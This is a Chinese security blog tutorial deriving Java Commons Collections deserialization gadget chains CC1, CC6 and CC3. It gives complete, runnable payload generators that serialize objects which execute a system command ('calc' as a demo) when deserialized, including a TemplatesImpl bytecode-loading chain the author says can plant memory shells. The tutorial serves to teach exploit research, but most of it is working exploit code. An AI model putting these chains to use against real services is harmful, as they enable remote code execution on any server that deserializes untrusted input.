ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

带你体验第一视角手撕CC链

2026-5-14 21:10:00
# java

CC1链

Commons Collections是一个开源的Java库,提供了许多实用的集合类和工具类,但其中的一些版本存在反序列化漏洞
反序列化链子的构造就是从利用类往readObject()方法反推,看后一层可不可以被前一层替代最终被readObject()替代,和php一个原理

cc1链是(JDK < 8u71,Commons Collections <= 3.2.1)版本的底层漏洞,该链利用了InvokerTransformer类实现了反射,先看其部分源码

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    // 构造函数接收:方法名、参数类型、参数值
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) { return null; }
        try {
            // cc1利用点,用此处反射
            // 相当于:input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs);
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (Exception ex) { ... }
    }
}

可以看到InvokerTransformer类的transform方法会对输入对象进行反射调用。我们只要给transform传一个对象,再给InvokerTransformer传入方法名、参数类型和参数值,就可以通过反射调用这个方法了

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

注意这里的new Class[]/new Object[],是对应源码的private final Class[] iParamTypes;和private final Object[] iArgs;

由于序列化过程中不可能主动调用transform()方法,我们循着链子顺藤摸瓜找一个方法代替他,最终用readObject()方法调用

代替transform()是来自TransformedMap类的checkSetValue方法,我们来看源码

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    private static final long serialVersionUID = 7023152376788900464L;
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;
    
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map); // 调用父类构造方法,传入一个map对象
        // 其父类也规定了this.map = map;
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
}

我们先给TransformedMap析构函数传参构造一个TransformedMap对象,再向checkSetValue传入值。由于两个都是protected方法,我们用getDeclaredMethod和getDeclaredConstructor来获取,先写一个demo

Class<?> r = Runtime.class;
Method c = r.getMethod("getRuntime");
Object f = c.invoke(null);
Object IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Class<?> transformedMapClass = TransformedMap.class;
// getDeclaredConstructor导入transformedMap构造方法
Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);
// 实例化
Object tmInstance = TM.newInstance(new HashMap<>(), null, IT);
Method cS = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
cS.setAccessible(true);
cS.invoke(tmInstance, f);

checkSetValue方法也需要被代替,我们在它的父类AbstractInputCheckedMapDecorator里找到了内部类MapEntry一个调用了checkSetValue方法的public方法setValue

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return this.entry.setValue(value);
    }
}

Map.Entry<String, Object>用于存储键值对的集合
我们可以去掉checkSetValue方法,直接让setValue调用transform方法来触发反射
覆写一下,上半部分不变

Class<?> r = Runtime.class;
Method c = r.getMethod("getRuntime");
Object f = c.invoke(null);
Object IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Class<?> transformedMapClass = TransformedMap.class;

Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);

Map innerMap = new HashMap<>();
// 确保有值
innerMap.put("key","value");
Map tmInstance = (Map) TM.newInstance(innerMap, null, IT);
// 由于是内部类,这里使用官方接口调用,tmInstance的位置就是parent
// 但parent本质是map类型,于是我们上一步用了强转换,entrySet()用于获取map中所有的键值对打包成set,iterator()用于迭代器,next()用于获取下一个元素
Map.Entry entry = (Map.Entry) tmInstance.entrySet().iterator().next();
entry.setValue(f);

最后一步,将setValue用readObject()代替
在AnnotationInvocationHandler类里找到了对应方法

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues; // 这个 Map 我们是可以控制的!

    // 构造函数,我们可以把包装好的 TransformedMap 传给 memberValues
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

    private void readObject(java.io.ObjectInputStream s) throws ... {
        s.defaultReadObject();

        // 1. 获取注解中定义的方法
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) { return; }
        
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // 2. 遍历我们传入的 map (memberValues)
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            
            // 3. 我们 map 的 key,必须在注解中有对应的方法名
            if (memberType != null) { 
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    // 4. 调用了 setValue
                    // memberValue 就是 TransformedMap.MapEntry
                    memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
                }
            }
        }
    }
}

java中注解除了用@定义标签,还可以用来定义属性,不过必须以方法的形式定义

public @interface MyAnnotation {
    String name(); 
    int age() default 18; 
}

必须以键值对的方式传参赋值属性

@MyAnnotation(name = "uky", age = 19)
public class MyClass { ... }

这些属性的各种值就叫元数据(AnnotationType),而AnnotationType.getInstance()是用来将注解类实例化成元数据对象,并且将其通过memberTypes()存进Map里
Map.Entry就是储存键值对的,它会在遍历memberValues字典的所有键值对,成员命名为memberValue。取下memberValues的键,然后取下这些键在memberTypes里对应的注解属性类型(get(name)代表类型XX.class),如果存在,就用isInstance与memberValues里的值做判断看其是否为该类型
若不是,就会生成一个AnnotationTypeMismatchExceptionProxy异常处理对象。但setValue()就在这里被调用了

反过来看,我们要改的就是memberValue.setValue()。将memberValue替换成TransformedMap.MapEntry对象。

Map innerMap = new HashMap<>();
innerMap.put("value", "uky");
// 传参给TM的构造函数,由于调用Map接口默认调用的是该类的this.map,没有就向父类找。
// 由于源码有个super(Map),所以TM的Map指针指向的是innerMap
// 由于要满足memberType != null,所以要在innerMap确保分配个value
Map tmInstance = (Map) TM.newInstance(innerMap, null, ConstantTransformer);

Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> handlerConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
// 为了不return需要传入注释类,这里用@Target类就行
Object payload = handlerConstructor.newInstance(Target.class, tmInstance);

但我们setValue()本应该传参runtime对象,结果把这个异常处理对象传过去了
这就需要我们使用ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    super();
    this.iConstant = constantToReturn; 
}
public Object transform(Object input) {
    return this.iConstant; // 无视input,直接返回iConstant
}

我们iConstant直接传入Runtime对象,这样就可以过滤掉异常处理对象了
不过问题也来了,我怎么同时把IT弹计算机的指令和Runtime对象同时传给ConstantTransformer呢

好在ConstantTransformer还规定了另一种传输方式,被规定要求传入数组

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}
// 依次调用数组里的transformer的transform方法
public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

对数组遍历,每一次都会transform一次上一次的结果。还有一点就是反序列化中Runtime对象是无法直接传入的,因为它没有实现Serializable接口,我们可以用他的class对象来代替他

而且熟悉的是,this.iTransformers[i].transform(object);正对应我们在第一步写的思路

那么就有这么一个思路,我们先创建一个Transformed数组,其中先给ChainedTransformer传入Runtime.class让他保存在object里,第二次建立一个InvokerTransformer来调用Runtime.class的getMethod("getRuntime")方法获取方法,第三次再用InvokerTransformer传入invoke执行上一步的方法拿到Runtime实例,第四次执行命令(最开始写的那个payload)

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class), 
    // Class[0]是个空数组,代表getRuntime方法没有参数
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    // 只拿实例不传参数
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 传参给ChainedTransformer构造函数,构造一个链式Transformer
Transformer chainedTransformer = new ChainedTransformer(transformers);

最终payload

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Class<?> transformedMapClass = TransformedMap.class;
Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);

Map innerMap = new HashMap<>();
innerMap.put("value", "uky");
Map tmInstance = (Map) TM.newInstance(innerMap, null, chainedTransformer);

Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> handlerConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
Object payload = handlerConstructor.newInstance(Target.class, tmInstance);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("demo_payload.bin"));
oos.writeObject(payload);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("demo_payload.bin"));
ois.readObject();
ois.close();

这就是整个cc1链的推导过程。后面的java的链子推导思路也是一样的

CC6链

适用于jdk全版本,Apache Commons Collections3.1 - 3.2.1版本

cc6有着和cc1一样的入口:transform方法,但他走的路线与cc1不同

// 开头和cc1一样,ChainedTransformer链式调用
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

它调用了LazyMap方法代替了TransformedMap,LazyMap的get方法会调用transform方法

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}

当获取一个未定义的key时,就会调用transform方法
我们传入一个空的HashMap和上面构造好的ChainedTransformer来构造一个LazyMap对象

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

而get方法的调用需要用到TiedMapEntry类

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;
    public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
    }
    public Object getValue() {
        return this.map.get(this.key);
    }
    public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
}

我们传入lazyMap和一个不存在的key来构造一个TiedMapEntry对象,只要触发hashCode就会触发getValue方法,进而触发get方法get一个不存在的key来触发transform方法

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

那么如何调用readObject触发hashCode()呢
如果你对URLDNS链有了解,那么就会知道java.util.HashMap在反序列化时会调用hashCode方法来重建哈希表

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        // 这会调用hash()
        putVal(hash(key), key, value, false, false);
    }
}
static final int hash(Object key) {
    int h;
    // 这有个hashCode(),确保key不为null才能触发
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

调用hashCode()就需要先调用putVal(),而map.put(key, value)的底层就是调用putVal()方法

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");

这里还不算完,再回看一下代码就会发现问题:当hashCode()调用时会主动触发getValue(),也就是说他会在本地序列化前会运行一次返回一个java.lang.Process对象,这个对象是没有序列化接口的,并且lazymap也会提前缓存一个'key',这样会导致序列化失败
于是我们在序列化之前调用put时调用一个不含恶意代码的假tiedMapEntry,这需要我们构造一个假ConstantTransformer链

// 起始ConstantTransformer链先不调用恶意代码
Transformer fakeTransformer = new ConstantTransformer(1);

再在put之后将其替换成真正的ConstantTransformer链

// java.lang.reflect.Field.set(Object obj, Object value)
// 负责在程序运行期间,强行修改某个对象里的变量值
Field factoryField = LazyMap.class.getDeclaredField("factory");
// 由于factory是protected的,所以需要setAccessible(true)来暴力访问
factoryField.setAccessible(true);
factoryField.set(lazyMap, new ChainedTransformer(transformers));

这样在序列化时就会避免触发恶意代码
对于lazymap缓存的旧key,我们可以在序列化前调用remove方法来清理它

lazyMap.remove("key");

完整链子

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer fakeTransformer = new ConstantTransformer(1);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");

lazyMap.remove("key");

Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, new ChainedTransformer(transformers));

// 序列化生成
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(expMap);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin"));
ois.readObject();
ois.close();

CC3链

commons-collections 3.1 - 3.2.1;jdk可以实现全版本,但需要讲究利用路线

如果后端ban了runtime等相关直接使用怎么办

这个链子与cc1cc6不同的地方在于它不再采用runtime.exec()来执行命令,而是用动态类加载的方式执行代码,甚至可以通过此注入内存马

什么是动态类加载

先讲一讲传统的静态类加载:在前两个链子里,类的加载都是在编译阶段前就已经通过文件中的预定义代码确定,编译器会根据代码中的类名来加载相应的类文件

public class Person {
    public void sayHello() {
        System.out.println("Hello, I'm a person!");
    }
}
Person p = new Person();
p.sayHello();

而动态类加载则是在程序运行时根据需要动态加载类。一种是基础篇讲过的Class.forName()
还有一种是cc3要讲的 ClassLoader 加载字节数组

双亲委派模型 (Parent Delegation Model):这是 ClassLoader 的运行规则。 当一个类加载器接到加载类的请求时,它首先检查这个类是否已经被加载过。如果加载过,直接返回内存中的 Class 对象;如果没有,它会将请求委派给父类加载器,直到委派到顶层的启动类加载器。如果父类加载器无法找到该类,才会由子加载器尝试读取字节码。这种机制确保了 Java 核心库的安全性和稳定性


虽然是加载顺序,但它们其实是组合关系

如果父加载器没有此类,就会调用子加载器的findClass(String name)方法来加载类,这个方法会读取指定位置(包括数据库,网络,内存等)的字节码数据,并通过defineClass()方法将字节码转换成Class对象

// byte[] b 是字节码数据数组,off是字节码读取数据的起始位置,len是读取字节码数据的长度
defineClass(byte[] b, int off, int len)

利用方法

那么我们需要实现的就是defineClass方法动态加载一个恶意外部类。TemplatesImpl类就为我们提供了一个起点

private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private String _name = null;
private byte[][] _bytecodes = (byte[][])null;
private Class[] _class = null;
private int _transletIndex = -1;
private Properties _outputProperties;
private int _indentNumber;
private transient TransformerFactoryImpl _tfactory = null;

private void defineTransletClasses() throws TransformerConfigurationException {
    try {
        int classCount = this._bytecodes.length;
        this._class = new Class[classCount];
        if (classCount > 1) {
            this._auxClasses = new HashMap();
        } else {
            TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new 			PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(), TemplatesImpl.this._tfactory.getExternalExtensionsMap());
                }
            });

        for(int i = 0; i < classCount; ++i) {
            this._class[i] = loader.defineClass(this._bytecodes[i]);
            Class superClass = this._class[i].getSuperclass();
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                this._transletIndex = i;
            } 
            if (this._transletIndex < 0) {
                    ErrorMsg err = new ErrorMsg("NO_MAIN_TRANSLET_ERR", this._name);
                    throw new TransformerConfigurationException(err.toString());
            }
        }
    }
}

可以看到defineTransletClasses()方法会调用loader.defineClass()来加载字节码数据
由于是私有属性,反序列化时不会自己执行代码反射调用,所以再找找是谁调用了defineTransletClasses()方法

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (this._name == null) {
            return null;
        } else {
            if (this._class == null) {
                this.defineTransletClasses();
            }
           AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
            // 注意这里
        }
    } catch (InstantiationException var3) {
        ErrorMsg err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
        throw new TransformerConfigurationException(err.toString());
    } catch (IllegalAccessException var4) {
        ErrorMsg err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
        throw new TransformerConfigurationException(err.toString());
    }
}

仍是私有,再看getTransletInstance()方法的调用者

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);

    return transformer;
}

终于是公共方法了,那么这个newTransformer()就是cc3的切入点。写链子起点

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

开始反着推:

先看newTransformer(),方法调用要this._outputProperties, this._indentNumber, this._tfactory三个参数。其中this._tfactory默认设置为null。注意defineTransletClasses()里的run()对象,他需要_tfactory创建一个map,如果为空则会空指针报错。所以我们要先想办法给_tfactory传参

Class<?> temp = templates.getClass();
Field tfactory = temp.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl()); // 设置一个对象的变量值

要触发defineTransletClasses,_name就不能为空,否则直接return。并且数组_class必须为空

Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"uky"); 

Field clazz = temp.getDeclaredField("_class");
clazz.setAccessible(true);
clazz.set(templates,null); // 设数组为null不加双引号

然后我们再看getTransletInstance(),将不能为空的_bytecodes二维数组的值defineClass后全部赋给_class。那么我们只需修改_bytecode为我们需要加载的字节码文件

byte[] data_1 = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
byte[][] data_2 = {data_1};
Field code = temp.getDeclaredField("_bytecodes");
code.setAccessible(true);
code.set(templates,data_2);

_class收到字节码转成的class对象后,会在我标注的地方执行newInstance()。我们这里在本地目录下创建一个hack文件来写被ban的runtime调用payload,写在static里,newInstance()时就会执行static的内容。由于defineClass只认识字节码,所以java文件需要编译成class文件然后给_bytecodes传过去

public class hack extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

我们继续往下看,如果_transletIndex小于0就会抛出异常,并且_transletIndex默认为-1。只有在_class的每一个值的父类等于常量ABSTRACT_TRANSLET(也即是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet)时才会设为非负整数。
那么我们需要给hack伪造一个父类成ABSTRACT_TRANSLET

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class hack extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    // 这里必须实现两个抽象方法才能调用父类(AbstractTranslet规定)
    @Override // 给jvm看的注释,覆写
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

abstract类对象不能用new创建,里面包含了许多无参方法。继承时必须要让子类学会抽象方法才能使用

完整核心exp到这里其实只证明了一件事:只要能调用 templates.newTransformer(),就能让 TemplatesImpl 去 defineClass 加载我们塞进去的字节码,并在 newInstance() 时触发代码

public class CC3 {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<?> temp = templates.getClass();
        Field name = temp.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"uky");

        Field clazz = temp.getDeclaredField("_class");
        clazz.setAccessible(true);
        clazz.set(templates,null);

        Field tfactory = temp.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        byte[] data_1 = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
        byte[][] data_2 = {data_1};
        Field code = temp.getDeclaredField("_bytecodes");
        code.setAccessible(true);
        code.set(templates,data_2);

        templates.newTransformer();
    }
}

但是反序列化入口不会主动帮我们调用 newTransformer(),所以接下来继续按照 cc1 的思路往前替换:

readObject() -> hashCode() -> getValue() -> LazyMap.get() -> transform() -> newTransformer()

用 TrAXFilter 替换 newTransformer

先找谁会主动调用 templates.newTransformer(),这里用到 TrAXFilter 的构造方法:

public class TrAXFilter extends XMLFilterImpl {
    private Templates              _templates;
    private TransformerImpl        _transformer;

    public TrAXFilter(Templates templates) throws TransformerConfigurationException {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }
}

可以看到只要执行:

new TrAXFilter(templates);

就会自动进入:

templates.newTransformer();

而 newTransformer() 又会继续触发:

newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass(_bytecodes) -> newInstance()

所以现在我们的目标从调用 newTransformer() 变成实例化一个 TrAXFilter 对象

然后用 InstantiateTransformer 替换 new TrAXFilter

先看源码:

public class InstantiateTransformer implements Transformer, Serializable {
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(this.iParamTypes);
            return con.newInstance(this.iArgs);
        } catch (Exception ex) { ... }
    }
}

它和 InvokerTransformer 很像,只不过 InvokerTransformer 是:

拿到对象 -> 找方法 -> invoke 调用方法

而 InstantiateTransformer 是:

拿到 Class 对象 -> 找构造方法 -> newInstance 实例化

所以我们只要让 transform() 的输入变成 TrAXFilter.class,再把构造参数设置成 templates,就等价于执行:

new TrAXFilter(templates);

对应 payload:

new InstantiateTransformer(
    new Class[]{Templates.class},
    new Object[]{templates}
).transform(TrAXFilter.class);

组装 ChainedTransformer

因为 InstantiateTransformer 的输入必须是 TrAXFilter.class,所以前面再接一个 ConstantTransformer,让它无视原始输入,直接返回 TrAXFilter.class

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

这段链子的执行效果就是:

任意输入
  -> ConstantTransformer.transform() 返回 TrAXFilter.class
  -> InstantiateTransformer.transform(TrAXFilter.class)
  -> new TrAXFilter(templates)
  -> templates.newTransformer()
  -> defineClass(_bytecodes)
  -> newInstance()
  -> 执行 hack.class 里的 static 代码块

到这里,cc3 自己的核心链就通了。接下来还差最后一步:让反序列化时自动调用 chainedTransformer.transform()

用 cc6 的外层触发 LazyMap.get

这里如果继续走 AnnotationInvocationHandler那条外层,会受到 JDK 版本影响。前面 cc6 已经拆过一遍 HashMap.readObject()触发 TiedMapEntry.hashCode()的路线,这里直接复用它,这样就可以做到更通用:

HashMap.readObject()
  -> putVal(hash(key), key, value, false, false)
  -> key.hashCode()
  -> TiedMapEntry.hashCode()
  -> TiedMapEntry.getValue()
  -> LazyMap.get(key)
  -> factory.transform(key)
  -> ChainedTransformer.transform()

先创建一个假的 Transformer,避免本地 expMap.put()的时候就提前触发真正 payload:

Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");

put() 的时候会执行一次 tiedMapEntry.hashCode(),所以 LazyMap 里会缓存一个旧的 key,序列化前要删掉:

lazyMap.remove("key");

然后再把假的 factory反射换成真正的 ChainedTransformer:

Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

这样序列化时不会触发,反序列化时才会从 HashMap.readObject( 开始触发整条链。

完整 payload

先写要被动态加载的类。注意这个类必须继承 AbstractTranslet,并且实现两个抽象方法,否则 TemplatesImpl 里判断父类时不会把_transletIndex设置成有效值。

// hack.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class hack extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

再写 cc3 的生成和触发代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        // 1. 构造 TemplatesImpl,往 _bytecodes 里塞 hack.class 字节码
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "uky");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        byte[] bytecodes = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});

        // 2. 构造 TrAXFilter.class -> new TrAXFilter(templates) -> templates.newTransformer() 链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 3. 先用假 transformer 占位,防止 put 的时候本地提前触发
        Transformer fakeTransformer = new ConstantTransformer(1);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");

        // 4. 清理 put 时 LazyMap 缓存的 key,否则反序列化时 containsKey 为 true,不会进入 transform
        lazyMap.remove("key");

        // 5. 把假 transformer 换成真正的 cc3 transformer 链
        setFieldValue(lazyMap, "factory", chainedTransformer);

        // 6. 序列化生成 payload
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
        oos.writeObject(expMap);
        oos.close();

        // 7. 本地反序列化测试触发
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.bin"));
        ois.readObject();
        ois.close();
    }
}

CC2/CC4/CC5/CC7链

这四条链放一起看会更清楚:cc2、cc4 的外层都是 PriorityQueue,区别在于中间用什么 Transformer;cc5、cc7 都复用了 LazyMap.get() 这个触发点,区别在于 readObject() 的入口不同

